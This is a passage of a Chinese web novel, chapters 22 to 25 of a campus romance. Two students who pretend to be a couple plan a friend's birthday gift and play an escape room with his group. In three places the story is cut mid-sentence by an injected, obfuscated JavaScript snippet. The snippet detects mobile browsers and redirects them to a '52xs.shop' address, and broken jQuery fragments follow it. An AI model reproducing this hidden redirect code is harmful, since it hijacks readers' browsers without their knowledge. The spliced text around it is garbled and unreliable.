周静雨当然是高兴的，她本来就有一些担心，自己和沈铭川的朋友都不算太熟，自己一个人可能会不自在，现在知道了梁因也去，便把心放回了肚子里。 梁因：【你想好送什么礼物没有？】 周静雨：【还没呢…】 周静雨：【他不怎么发朋友圈，我一下子也没想出来他喜欢什么】 梁因想了想，嫌打字太慢，问周静雨现在方不方便讲话，得到肯定的回复之后拨通了语音电话。 两个单身少女你一言我一语地讨论礼物的选择，条件颇为苛刻，既要体现心意又不适合太贵重，既要日常又不能太普通—— “比如每天都能看得到用得上的东西，”周静雨开始头脑风暴，“眼镜？墨镜？” “他好像不戴眼镜吧？墨镜……会不会有点普通了？而且平时也不是经常能用得上。”梁因撑着脸颊，“再想想？” “你说的有道理，那就别的东西，文具？不行，还是普通了点——或者水杯？手表？耳机？” 梁因听着，忽然捕捉到了其中一个名词，微微坐直。 “等等，我忽然有个主意。”梁因说道，“他戴表吗？什么表？” 周静雨想了想：“我记得好像是applewatch吧。” 一个想法在脑海中成型，梁因勾起唇角笑了起来：“我给你提个建议，你听听看觉得怎么样。” - 程臻和程钧的晚饭是阿姨来做的，等待的时候程钧便忍不住吃掉了两颗泡芙——他只被允许买一盒，纠结一番后选了巧克力味的，说好了和程臻一人一半。 说好了便是说好了，吃完饭后程臻拿了剩下两颗问程钧要不要分着吃了，小男孩虽然馋，但纠结几秒后还是摇了摇头。 钟娴和程之毅是一起回家的，到家时已经快九点了，正在写作业的程钧“两耳专闻楼下事”，听见开门的动静后便放下笔跑下了楼。 程臻迟了一会儿，拿着杯子顺路去厨房倒水，看钟娴和程之毅脸上都是轻松的神色，有说有笑的，估计事情已经顺利解决了。 程之毅乐呵呵揉程钧的脑袋，又问他今天表现得怎么样，家教老师来上课时有没有认真听话，程钧忙不迭点头，还转头让程臻作证：“哥哥，我很乖的对不对？” “嗯。”程臻对上程钧的目光，一挑眉，客观公正地点了点头，“真的，挺听话的。” “爸爸你听！哥哥都说了我特别乖的！”程钧笑嘻嘻把脑袋转了回来，“所以我晚上可以再看一集动画片吗！” “那说好，只能再看一集。” “好耶！” 程臻勾了勾唇，靠在岛台边喝了口水，又看了一会儿手舞足蹈的程钧，余光瞥见手机屏幕亮了亮。他拿起来解锁点开，消息是梁因发来的，他有些意外地一挑眉。 梁因：【对啦，还有一个问题想问你一下】 梁因：【你知不知道沈铭川的applewatch是什么型号的呀？】 22. Chapter 22 梁因对撮合周静雨和沈铭川这件事相当乐在其中，等了一会儿后得到了程臻的具体回复，随即发了个小兔感谢的表情包，又叮嘱他别跟沈铭川说，下一秒便截图转发给了周静雨。 梁因：【帮你问到啦】 梁因：【你好，请速速封我为你亲爱的首席恋爱大军师】 梁因：【/得意】 虽然她给周静雨提了送沈铭川手表表带的建议，但具体的款式的图案还是需要她自己去挑选。 就她俩聊天的这会儿功夫，梁因收到了好几条新消息，退出对话框看了一眼，才发觉自己被拉进了一个新群，头像是一个神秘的墨镜黄豆的emoji表情——里面只有八个人，除了周静雨和程臻之外，都不是她的通讯录好友。 其中有两个头像她眼熟，在箭协的群里见过，是沈铭川和林砚的，那么也就是说，这个群是用来—— 梁因往上翻了翻消息，最上面的几条消息都是沈铭川发的，他先是分享了几个链接，是一家密室几个主题的简介。 文字条消息挺长，大意是沈铭川认识这家密室的老板，刚好他生日，便免费邀请大家玩一场，这几个主题刚好都是八个人，让大家选一选。 梁因往下滑了滑，见群里的大家已经七嘴八舌地讨论起来了，她没发言，而是点开了最上面的链接看了看。 这家店整体的评分不错，沈铭川发的各个主题都不是特别恐怖，看介绍也都挺吸引人。 梁因玩密室的次数并不多，她胆子不算太小，只是之前朋友给她起了个外号叫做“电灯胆”，因为只要在亮的环境里，她基本上不怎么害怕，可但凡关了灯，她便立刻化身同伴的随身挂件。 从链接里退出来，大家聊天的话题已经偏到了十万八千里开外，沈铭川开了个投票，梁因点进去看了看，觉得其中一个中世纪欧洲背景的主题看起来挺有意思，于是投了一票，结果显示刚好是票数最多的选项。 见这个主题票数已经过半，沈铭川便截了图发到群里，又发了场次和时间，问大家如果没什么问题就定这个了。 正事聊完，大家的聊天重点开始跑偏，有人截了主题的介绍，问谁最胆小害怕。同寝一年，对彼此这点儿了解还是有的，答案齐刷刷统一为林砚，甚至连他女朋友陶莹也投了一票。 林砚自然不服，发送一排问号要他们拿出证据，结果桩桩件件黑历史被摆上台面，他颇为心虚地喊停，连忙转移话题：【可以了可以了，群里还有其他女生呢】 林砚：【要不介绍一下？@沈铭川】 沈铭川的回答非常官方，说周静雨和梁因是箭协认识的朋友，想着过生日热闹热闹，就请来一块儿玩了。 林砚：【就是朋友呀？我看不止是朋友吧？/嘿嘿】 林砚从不无凭无据地八卦，而现在也的确证据确凿——群里一共就三个女生，陶莹是他的女朋友，梁因是程臻的女朋友，只有周静雨一个落单的，沈铭川对周静雨有意思几乎成了透明公开的秘密。 然而他才不会做帮人捅破窗户纸的人，不等沈铭川回答，又打字道：【我看有一位是家属哦～@程臻】 程臻没回，估计是没看手机，倒是梁因主动点了个挥手的表情，大大方方地冒了个泡。 几个男生跟梁因不熟，程臻又没在，简单聊了几句就又把话题扯开了，梁因便继续默默潜水。 程臻确实没看到消息，他刚点开密室的链接，房门便被敲了两下，他应了一声，钟娴推开门走了进来。 “小臻啊，在忙吗？” “没有，”程臻按下手机锁屏倒扣在桌上，“怎么了，妈？” 钟娴在他旁边坐下，问道：“妈妈是想来问问，小钧下午的那个家教老师，你不是听了一会儿吗，觉得怎么样呀？” 程臻靠在椅背上，手指轻轻点了两下桌面，垂了垂眼睫，片刻之后才开口：“我只听了半节，总的来说还不错，讲得很清楚，不过更加直观的感想我觉得应该问一下小钧吧自己。” “我刚才问过了，而且要不是小钧跟我说，我还不知道你跟小梁原来是认识的呀？” 程臻脑海中浮现出梁因的脸，轻轻勾了勾唇角，点头道：“对，我们认识。” “那好呀。”钟娴笑了，“小钧也特别喜欢她，说她讲得很好，那要不就定下来了？” 程臻没什么意见，点了点头。 “那就行，我一会儿去联系她。”钟娴看着程臻，随即又道，“小臻啊，既然你们两个认识，那你之后能不能帮妈妈多留意着，有时间的话可以跟小梁沟通沟通，多了解你弟弟的情况？” 程臻没有立刻回答，钟娴连忙补充道：“妈妈没有别的意思啊，就是你们两个是同龄人，刚好在一个学校又认识，那妈妈是长辈，又是小钧的家长，有些话可能不会说得太直接——你明白妈妈的意思吧？” 程臻和钟娴温和的目光对视，轻轻点了点头：“我明白。” 房间里安静下来，钟娴看着坐在桌边的大儿子，从她进来程臻便把手机放到了一边，认真地跟她说话，看着她的目光也专注平静，却总像是隔着什么。 她沉默地抿了抿唇，随即笑了笑：“对了，你自己钱还够用吧？要不要妈妈再给你打一点？” “够了，妈。”程臻点头，“学校没这么大花销。” 程臻有一张常用的卡，是父母把他接到身边之后给他的，时不时往里面转一些零花钱。程臻上大学之后的生活费也打在里面，程之毅和钟娴在这方面极为大方，他自己也不是大手大脚花钱的性格，这么些年来，卡里积攒下来的余额十分可观。 “那就好，钱不够用的话，要记得跟爸爸妈妈讲的啊。” “嗯，会的。” 又跟程臻聊了一会儿，钟娴才离开房间，走的时候帮他轻轻带上了房门。 从门口收回目光，程臻拿起手机，就这会儿功夫，微信已经折叠的新消息竟然已经高达99+，他点进去看了看，还有人@自己的提示。 翻上去看了看记录，程臻扫过几条消息后皱起了眉，轻叹了口气，想了想还是没有加入他们热火朝天的交流，左滑推出，找到梁因的对话框，点开。 程臻：【他们几个聊天的时候就爱开玩笑，你别管他们】 程臻：【他们艾特的是我，下次你可以不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389548|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用理】 梁因过了一会儿才回复，发了一个脑袋上顶着问号的可爱小狗表情包。 梁因：【哦哦哦】 梁因：【没事呀，我觉得大家都还挺友好的～】 梁因：【而且做戏要做到底，我ok的】 程臻看着对话框里又跳出来一个一本正经点头的小狗，看起来跟刚才的问号小狗是同一套表情包，透着傻里傻气的可爱。 他轻轻勾了勾唇角，敲了几个字母刚打算输入，对面却抢先弹出两个文字气泡。 梁因：【呀】 梁因：【钟阿姨给我发消息，问我方不方便说话】 程臻一挑眉，把刚才输入的字母删去，重新输入。 程臻：【嗯】 程臻：【那你们先聊】 梁因：【嗯？你好像知道什么啊？】 程臻目光上移，又瞥了一眼那只问号小狗，随即敲下两个字母，回复了一个“嗯”字。 脑海里忽然出现程钧看到梁因时眼前一亮的样子，程臻轻牵起了一个笑，又往输入框里慢慢打了一行字，发送。 程臻：【所以，要不要我给你剧透一下试课结果？】 梁因：【嘿嘿，不用】 梁因：【热知识：面试结束之后好几天石沉大海约等于凉了，当天就急着联系的是怕被抢走的香饽饽，试课同理】 对面又跳出来一只得意小狗，程臻看着小狗周边点缀的五彩音符，笑意不由地更深了几分。 程臻：【小梁老师这么懂？】 梁因：【好啦，其实是阿姨跟我说了，要聊一下之后的课时和内容的安排】 梁因：【那我先不跟你说啦，我去跟阿姨语音咯】 程臻：【好】 对话暂时结束在梁因最后发过来的小狗敬礼表情包，程臻盯着小狗看了一会儿，片刻后鬼使神差地点开了这套表情包，按下了绿色的添加键。 从聊天框退出来，另一个他没见过的群聊又攒了十来条未读消息，群名倒是通俗易懂又简单粗暴——“点击助力沈老板刮刮乐中五百万”。 程臻之前就跟林砚说过，今年他们给沈铭川买刮刮乐的时候算他一个，林砚便把他拉进了群里。 去年沈铭川生日的时候就只有他们寝室四个人一起出去吃了饭，而今年的情况有所不同，聚餐队伍扩大了一倍。 林砚：所以就我们四个A啊，女孩儿就不算了 林砚：［图片］ 林砚：没问题的话我就买这个了啊？ 林砚：一本五百五十张，咱给他整个两本 林砚的图片就是在彩票店拍的，他一只手拿着两本彩票，看起来颇为壮观。 他的另两位室友都表示没问题，并十分期待沈铭川能突破去年平均每张刮出八块七毛五的战绩。 程臻当然也没什么意见，在输入框里打了个ok，却没想到忽然自动跳出来一个候选表情包，是一只举着OK牌子的小狗，wink的时候还有小星星忽闪忽闪的。 手指悬停在屏幕上方顿了顿，程臻的动作比大脑抢先一秒，轻点了一下那只小狗，把表情包发了出去。 23. Chapter 23 林砚头一回见程臻聊天的时候发这种可爱风格的表情包，在群里敲了个问号——不过他的反应很快，没等程臻说什么，便自己迅速想通了事情的来龙去脉。 林砚：懂懂懂 林砚：存的女朋友的表情包吧？ 林砚：［wink.gif］ 他的这个表情包一看也就是从陶莹那儿存下来的，群里的两位单身人士一致对林砚和程臻秀恩爱的行为表示了强烈的谴责和不满。 几个人聊了一会儿，话题最后绕到了沈铭川身上。 林砚：你们说，川儿不是对周静雨有意思吗，他应该不至于单相思吧？ 林砚：@程臻你女朋友跟她是舍友是不？旁敲侧击一下？ 程臻勾唇笑了：是人家谈恋爱，你这么上心干什么？ 且不论程臻和梁因没有真的在谈恋爱，就算他们的关系是真的，他去问她这个也并不合适。 好在林砚也只是开个玩笑随便一说，很快便把话题岔开。 林砚：我这不是关心他吗 林砚：行了不说了，我买刮刮乐了啊 程臻：你赶紧去吧 他本就不是爱八卦的性子，平日里关于周围谁和谁在一起了，或者谁喜欢谁之类的种种，要是别人主动讲，他便会认真听着，但他几乎从来不主动打听什么。 比如当时梁因问他沈铭川的applewatch型号的时候，他也没顺着多问什么——直到沈铭川生日那天，程臻忽然注意到他换了个新表带。 周三下午程臻要赶第二天的作业，社团活动就没去，他印象里沈铭川上周戴的还是原来的那个。 “啊，对。”沈铭川点点头，抬手看手上的表，笑了，“别人送的。” 别人。 沈铭川说得含糊，程臻于是便也没再问，垂眼看了几眼，随即留了句评价。 “还挺好看的。” “是吧，我也觉得。”沈铭川把手揣进口袋，闲聊似的跟程臻说话，“对了，有个事儿想问问你。” “你说。” 沈铭川清了清嗓子：“就是，如果想约女孩儿出去的话，一般都会用什么理由啊？” 程臻没有立刻回答，他从来没想过有朝一日居然会被问到这种问题，心情一下子有些微妙，不自觉地轻轻一挑眉。 “你别笑了，快给我出出主意。” 他笑了吗？程臻一愣，抬眼对上沈铭川的视线。 可惜他在这方面实际上也毫无经验，他没谈过恋爱，也没喜欢过或者追过谁，犹豫几秒，给了沈铭川一个应该不会出错的回答：“分人吧。” “我也觉得。”沈铭川深表赞同，片刻后又道，“那你觉得图书馆怎么样？还是去操场散步？” 程臻看他，替他选择了后者。 沈铭川点点头，深吸一口气然后缓缓吐出：“行，我下回试试。” 两人聊天的这会儿时间，其他人也陆续到齐了。 梁因和周静雨是一块儿来的，两个女生一出现便让人眼前一亮，周静雨摘了常戴的眼镜换成了美瞳，还化了好看的淡妆。 而梁因今天穿了条粉色的工装裤，头发用同色的发圈扎成了马尾，转头跟周静雨说话的时候，头发在半空中一晃一晃的。 “我跟你说这样很好看吧！”梁因挽着周静雨的胳膊，跟她小声咬耳朵，“你快看他看你的眼神！” 出门之前，全寝室一致建议周静雨换掉平时一直戴的框架眼镜，赵新艺还亲自上手帮她化了和衣服搭配的全妆。 周静雨站在镜子前，有些犹豫：“这样会不会显得太夸张啊？” 梁因站在她身旁，举起了大拇指：“当然不夸张了，非常合适，非常美丽。” 跟大部队汇合之后，不像还有些不好意思的周静雨，梁因先是观察了沈铭川看到周静雨时候的表情，又眼尖地注意到他已经换上了周静雨送他的表带。 梁因看起来比周静雨本人还要高兴，笑嘻嘻地跟所有人打招呼，撞上程臻的目光后，冲他轻快地眨了眨眼睛。 他俩没单独说上话，人到齐了之后，工作人员就带他们去了休息室，简单说了注意事项，让大家寄存了随身物品和手机等。 “害不害怕？” 梁因和周静雨的包放进了同一个格子，沈铭川过来跟她们说话。 两人对视一眼，周静雨刚想开口，便见沈铭川身后的林砚抬手搭上了他的肩膀，笑嘻嘻地凑了过来。 “听说好像是有单人线的，不过可以不用一个人去哦。” 沈铭川笑着拨开他的手：“就让你一个人去。” “我干嘛要一个人去？”林砚睁大了眼睛，随即笑了，“要是有单线，我当然跟我老婆一块儿去啊。” 沈铭川点点头：“嗯，她可以保护你。” 林砚丢给他一个无语的眼神：“……” 梁因和周静雨站在一旁看热闹，程臻幽幽的声音自她们身后响起：“他特别害怕，之前我们几个也去玩过一次鬼屋，他全程抓着人，给人胳膊上都抓出印子了，而且出来的时候嗓子都喊哑了。” 梁因笑了：“真的假的？” “嘘。”程臻一挑眉，抬眸看向林砚走开去找陶莹的背影，“别去找他说，否则他跟你急。” “但其实我估计也差不多。”周静雨笑过之后缓缓吐了一口气，“我也挺害怕的，特别是有人追我的那种。” 沈铭川笑了，说道：“放心，我问过了，这个主题还好，算是微恐里不太吓人的那种。” 其实梁因也怕这个，所以刚才在工作人员介绍注意事项的时候特地问了一句，得到的回答是本场游戏没有追逐，最多只有个别几次轻微的突脸。 “你呢？”程臻随意地开口，梁因转头看他，眨了眨眼睛。 “追逐我也怕的。”梁因道，“突脸要看情况，不过只要周围不黑的话，那一切就都好说。” 程臻点了点头，不远处工作人员来问大家是否把东西寄存完毕，如果准备好了的话，游戏就可以开始了。 工作人员带着大家来到一扇大门前，简单介绍了一下背景和玩家的身份，又让每个人随机领取了一个作用不明的道具，大门随即缓缓打开。 怕什么来什么，刚进门的时候一边漆黑，梁因攥紧了周静雨的胳膊，两个人几乎贴在一块儿挪动进门——好在最后一个人进来之后，大门关上，随着一阵音效，灯光亮了起来。 灯一亮，梁因的胆子便回来了，十分积极地主动四下寻找破解进门机关的线索。 这个密室的解密部分不算很难，线索找齐之后基本上很容易便能推出答案，而整体的氛围感十足，灯光音效和环境布置都能给人满分的代入感。 虽然没有突脸环节，但有时NPC出现得实在是悄无声息，梁因算是领教了林砚玩鬼屋喊破嗓子的水平，其中有一个NPC出现时梁因刚好站在他身侧，险些被大喊着后退的林砚撞倒，结结实实地被队友吓了一跳。 “也就这样，不算很吓人嘛。”恢复了状态的林砚抱着陶莹的胳膊嘴硬。 陶莹无奈地笑起来，懒得说他，而他正在找线索的室友则兴致勃勃地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411457|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拱火：“那一会儿你去做单人任务呗？” “……今天是川儿生日，这个表现的机会我觉得还是留给他比较好。” 沈铭川没忍住笑了：“我谢谢你啊。” “都是兄弟，客气什么。” 然而表现的机会到底还是没有落到林砚或者沈铭川头上，扎着双马尾穿着精致洛丽塔的女孩突然出现，周围的灯光一瞬间暗下，只她头顶上打着一束幽幽的白光，环视一圈，最后停下时，站在……梁因面前。 女孩化着诡异的妆容，歪着头面无表情地盯着梁因看，其他人纷纷停下手上搜索的动作，朝她们这边看过来。 她来得无声无息，梁因完全没想到，对上她目光时心也被提了起来，不由得往后退了一步。 然而下一秒她便缓了过来，女孩头顶那束光其实挺亮，辐射范围也挺广，梁因堪堪站在白光在地上勾出的圈上，开口跟她打招呼。 “你……找我吗？” 女孩忽然笑了，下一秒缓缓开口，目光下落至梁因单肩背着的道具包。 “带着包的这位小姐姐。”女孩又抬眸看她，睁大了眼睛眨了眨，“我的娃娃不见了，你可以帮我找回来吗？” 她说话时不带任何感情色彩，语调也毫无起伏，听上去叫人汗毛倒竖。 “所以这就是单线了吗？” “啊，原来进来之前发的道具是用在这儿啊……” 一旁传来几句小声的窃窃私语，周静雨则颇为担心地看着梁因。 梁因缓缓吐一口气，决定再挣扎一下：“一定要我去吗？” 女孩看着她，又走近一步，点了点头。 ……行吧。 梁因咬了咬下唇，总觉得如果拒绝或者惹恼了她会有什么不好的事情发生，沉默两秒之后硬着头皮问道：“那你的娃娃在哪儿？” 女孩抬手一指，另一束光照亮了墙边的一扇门。 “要出去？” 女孩点点头。 “很远吗？” 女孩盯着梁因，不说话。 周静雨挪了一步，小声问她：“你确定一个人可以？” 陶莹也附和：“需要找个人陪你去吗？” 在梁因没有看见的地方，林砚一只手挽着陶莹，用另一只胳膊捣了一下程臻，丢给他一个眼神。 “应该还好吧，反正没有追逐，只要不是特别——”梁因也有点儿忐忑，犹豫间，女孩忽然动了。 梁因止住了话，看她迈步走到了门边，干脆利落地握着把手拉开了门，只见门外一片伸手不见五指的漆黑。 “我的娃娃不见了。”她又重复了一遍，这回语气好像沉了些，隐约带了点冷意。 在她开门之前，梁因还在考虑要不要试试去做一回单人任务，可门外一点灯光都没有，心理建设全线崩塌，大脑空白了一瞬，心跳也陡然加快了几分。 害怕女孩下一秒就就直接赶她出去，梁因连忙摆手往后退了两步：“……不是，你等一下，我——” 脑后的马尾忽然好像甩到了什么，她话一顿，下意识回头看，才发现自己撞到了程臻。 “一定要她去吗？”程臻没动，抬手轻轻扶了一下梁因的肩膀，抬眼看向站在门边的女孩。 女孩歪着头跟他对视，点了点头。 “那别人可以跟她一起去吗？” 这回女孩沉默的时间长了些，看了看程臻又看看梁因，随即又点了点头。 得到了NPC肯定的回答，程臻然后才垂眼看向梁因，问她的意见：“要不要我陪你一起？” 24. Chapter 24 要，当然要——梁因忙不迭点头。 “那就走吧。”程臻一挑眉，偏头冲她示意，随即抬眼，目光掠过站在门边的女孩，“去帮她找娃娃。” 梁因深吸一口气后迈步跟上，两人刚刚出门，下一秒女孩便关上了门，隔绝了房间里的所有光线。 视觉一下子被剥夺，梁因心跳瞬间加速，慌乱地伸手去抓身前的人：“等等，程臻你别，慢点走，等一下——” 指尖触到了柔软的布料，程臻的声音随即在黑暗中响起：“别怕，我在这儿，不走。” 梁因松了口气，手上却紧紧地攥住了程臻的衣服，凭借印象试探地往旁边的墙壁挪：“我们靠墙走好不好？你，你往前，一点一点走，走慢一点……” 她说话的音调好像比刚才高了些，甚至还隐约有点儿发颤，程臻能感觉到后腰的衣服被一股力道抓着，应了一声“好”，便一步一停地往前走。 身处伸手不见五指的黑暗里，其他的感官似乎都被放大，变得更加清晰。 就算什么也看不见，梁因依旧闭着眼睛，除了她自己和程臻的脚步声，多少也能听见身后的房间里传来的声音，空气里则弥漫一股潮湿阴凉的味道，掺着身前人身上淡淡的草木香—— “刚才也没见你这样。”程臻忽然开了口，聊天似的问跟在自己身后一声不吭的人，“特别怕黑？” 梁因：“……” 她猜程臻大概率是想通过跟她说话来分散她的注意力，从而缓解紧张，可一旦陷入漆黑的环境，梁因就精神紧绷，实在是分不出精力跟他对话，于是很含糊地“嗯”了一声。 “那你——” 程臻刚想接着说什么，身后他们出来的房间忽然传出一声尖叫，把本就害怕的梁因结结实实地吓了一跳，也跟着喊了一声，缓慢前行的脚步当即停了下来。 身后扯着衣摆的力道消失了，程臻还没反应过来，下一秒便感觉到什么东西正拽着自己的裤脚。 他勾唇笑了笑，轻轻开口：“梁因？” “……啊？” 声音自下方传来，程臻没猜错——梁因蹲在了地上，拽着他的裤脚，似乎面对着墙壁，正在扮演一株受惊的蘑菇。 “你轻点儿。”程臻的声音里掺了几分无奈的笑意，“我裤子快被你拽下来了。” “啊，不好意思啊！”梁因猛地松了手，好在刚才是虚惊一场，慢慢扶着墙壁站了起来，又试探着伸手捏住了程臻的衣摆布料，“那我还是像这样拉你衣服，可以吗？” 程臻没开口，黑暗里梁因看不见他的动作，只觉得手腕一热，被一股力量牵着动了一小段距离，然后她感觉到自己的手好像被放到了……他的小臂上。 手下的皮肤触感温热，是属于少年人的清瘦，却并不缺乏力量感，梁因的小指能感觉到他靠近手腕大一小处凸起，她竟忽然没来由地想到程臻拉弓射箭的样子，极短暂地走了神。 “怕的话就抓着我。”程臻应该是把一只手臂背在了身后，顿了顿又开口道，“还要缓一会儿吗？” “不用，可以走。”梁因长吐一口气，“早点找到她的娃娃早点回去。” “好。”程臻应了一声，随即慢慢往前走，一只手扶着墙壁探路，余光瞥见了什么，半转过头跟梁因说话，“这边要拐弯了，左拐，前面我好像看到了一点光。” 漆黑密室里的光对梁因来说就像在沙漠里遇到的水，她闻言便抬起头张望，后知后觉地发现，自己站在程臻身后，视线被挡的严严实实，什么都看不见。 “你好高啊。” 在黑暗里待了一会儿，眼睛也适应了些，梁因能隐约看见身前人的轮廓。 “那不好意思啊。”程臻开口时带了点笑，“挡着你看前面的路了，要不你走我前面？” “……我不是那个意思，现在这样就挺好。”梁因缩了缩脖子，慢吞吞走过拐角时，也注意到了程臻说的光，看起来是还有一个拐角，光源应该就在不远处。 胜利在望，梁因睁着眼睛时不时从程臻身侧张望前方，拐过下一个弯之后便没路了，面前的墙壁中间有一个凹槽，正发着幽幽的红色灯光，里面放着一个洋娃娃。 程臻背在身后的手臂忽然觉得一空，见到光之后梁因就很迅速地撒开了手，往前挪了一步站在了他身侧，好奇地盯着娃娃看。 这会儿倒是一点不害怕了——程臻微一挑眉，目光落在一旁的梁因身上。 “直接拿吗？”梁因转头看程臻，后者没说话，点了点头示意她拿。 一路上都没有被吓，等玩家觉得自己顺利过关，最后放松下来拿娃娃的时候猝不及防地来一下——这种惊吓方式在梁因看来相当合理，并很有可能发生。 于是她做好了十足的心理准备，深吸一口气，一个箭步上前拿起娃娃抱在怀里，下一秒立刻后退，面向程臻闭上眼睛，主打一个“不管发生什么，只要我不看就吓不到我”。 ……一片安静。 唯一的动静是从头顶传来的，程臻没忍住的一声轻笑。 梁因几秒后才睁开眼，尴尬地四下看了看，什么都没有发生，然后抬起头，对上了程臻正看她的眼神。 “那个，娃娃拿到了，我们快回去吧。”梁因收回视线转身，本是想碰一下程臻的手臂示意他走在前面，却忘了程臻不是周静雨，原本一抬手便能就能挽上周静雨胳膊的高度，放在程臻身上，刚好是他的手。 程臻的手原本自然地垂在身侧，掌心猝不及防被搭上女生柔软纤细的手指，两人俱是一愣。 “不好意思啊，我不是——”不是想占你便宜的，梁因反应过来之后便迅速把手收了回来，看一眼程臻又飞快地移开视线，在心里把后半句话补完。 “没事。”程臻简短地应了一声，手心一空，指尖划过掌心时留下了一阵细微的痒，他下意识地轻捻了捻手指，又抬眼跟梁因对视，“那，走吗？” 梁因连忙点点头：“走的。” 虽然来时算是一路顺利，但难保回程时不会有什么突然的惊吓，梁因依旧跟在程臻身后。 或许是因为刚才的小乌龙，也可能是因为知道这次的目的地是和大部队汇合的房间，两人走得稍快了些，都没开口聊天，这一回梁因又拽回了程臻的衣摆。 “到了。”程臻推门时微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418866|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧了侧身子，让梁因先进。 屋里的灯光虽然也不算太亮，但刚从一片漆黑里回来的梁因仿佛终于踩上了实地，提着的心放了下来，如释重负地松了一口气，递给程臻一个感激的眼神。 其他人还没来得及跟他们说话，让梁因去拿娃娃的那女孩走了过来，偏着头眨了眨眼睛，从她手里把娃娃小心地接了过来，轻轻摸了摸娃娃的头发。 “谢谢你。”女孩的语气软了几分，随即抬起眼，忽然冲着梁因露出了一个笑。 梁因心里陡然升起了一股不太好的预感，果不其然，下一秒，整个房间的灯瞬间暗掉，还响起了一阵诡异的音乐。 又是黑灯——梁因刚放下的心再次提了起来，大家也都被这一手弄得兵荒马乱，她只好往印象里刚才灯亮的时候周静雨站的位置挪，也不敢走得太快怕碰到什么，一边伸出手去试探。 梁因心脏砰砰跳，在空中试探摸索的手碰到了什么，攥住了另一只手，手腕上好像还戴着表。 那只手似乎也没想到忽然会被拉住，一滞，手指随即动了动，似乎是想要挣开的意思。 梁因则并没有察觉，只凭着触感意识到这只手显然不是周静雨的，可黑暗里也看不清到底是谁，又完全不敢放手自己站着，只能拽着谁就是谁，闭着眼睛又靠近了些：“不好意思啊……” “没事，我。”头顶前方了响起程臻的声音，虽然被音乐声盖住了大半，但梁因还是听得清，“别乱动。” 啊，梁因心道，梅开二度。 程臻也只感觉到刚才有谁摸黑靠了过来，又一声不吭地一把抓住了他的手，他并不习惯这样的接触，无声皱了皱眉，下一秒却听见了被掩盖在音乐声和几米开外林砚被吓到的喊声之下的，梁因的声音。 他的一只手被梁因两只手攥着，她实在是紧张，乖乖听话站着没动，手指却不自觉地扣着程臻的手，似乎是想要通过这种方式获取一些安全感。 就像刚才在单线任务的路上一样。 于是程臻便没动，由着自己的手被梁因拉着，又感觉到她挪了挪，鞋尖抵上了他的鞋。 诡异的音乐持续了十几秒钟随即停下，大家鸦雀无声，随即是一道门缓缓打开的音效，灯光缓缓亮起。 “吓死我了……” “刚才关灯我差点撞到墙……” 刚才的女孩已经消失了，大家都跟活了过来似的，梁因心有余悸地吐一口气，抬头看程臻一眼，随即松开他的手又后退一步，扑向周静雨，挽着她的胳膊贴着她，卸了力地把脑袋搁在她肩上。 “你们俩刚才单线还好吧？”沈铭川问程臻。 “就只是黑而已，没什么吓人的点。”程臻点点头，“你们里面呢？” “这样啊？”沈铭川有点儿意外，“所以反而还是里面比较吓人，突然有东西从天花板上掉下来，我都吓一跳。” “听见你们尖叫了。”程臻莞尔，摊开刚才被梁因攥着的手，垂眸看了看，又回想起刚才回来之后，梁因也是一进门就送了拽着她衣服的手，抬眼看向她正跟周静雨说话的背影，微一挑眉。 这算是……用完就丢吗？ 25. Chapter 25 这之后便几乎没有了全黑的环节，梁因便全身心地投入剧情和解密，相当不亦乐乎。 通关了结局之后还有点儿意犹未尽，工作人员带着大家复盘了半个小时，征集了不少建议，又聊了些店里的其他主题。 “下次谁生日的时候再来呗！” “行啊，我ok。” “也不一定要生日啊，平时也能约。” “没问题啊。”林砚笑了，“等今天过了我就把群名改掉。” “现在改也行。”沈铭川伸手按了一下电梯，勾起唇角看了他一眼。 “那不行，过生日的仪式感要有。” 一行人吃饭的餐厅就在密室所在的商场，沈铭川已经提前订好了包厢。 大家都清楚沈铭川喜欢周静雨，无比自然地给她留出了挨着沈铭川的位置，梁因坐在周静雨右手边，而她的另一边则是程臻。 刚才在密室消耗了不少体力精力，梁因在桌边坐下，盯着包厢里墙边的装饰花瓶看着，大脑放空了一会儿，缓缓打了个哈欠。 “喝吗？”程臻给自己倒了杯水，转头问梁因。 “啊，好，谢谢。”梁因回过神，点了点头。 程臻伸手把她的杯子拿近了些倒水，梁因看着他的动作，目光顺着他的手臂缓缓挪到了他的脸上。 “怎么了？”程臻把水壶放回转盘上，又把梁因的杯子放到她面前，抬眸对上他的视线。 “你玩儿这种密室的时候是不是都不害怕啊？”梁因好奇地看他，开口问道。 程臻点了点头：“算是吧。” “那岂不是很没有乐趣？” “也还好。”程臻思索两秒，“很大一部分乐趣来自……全程围观别人害怕。” 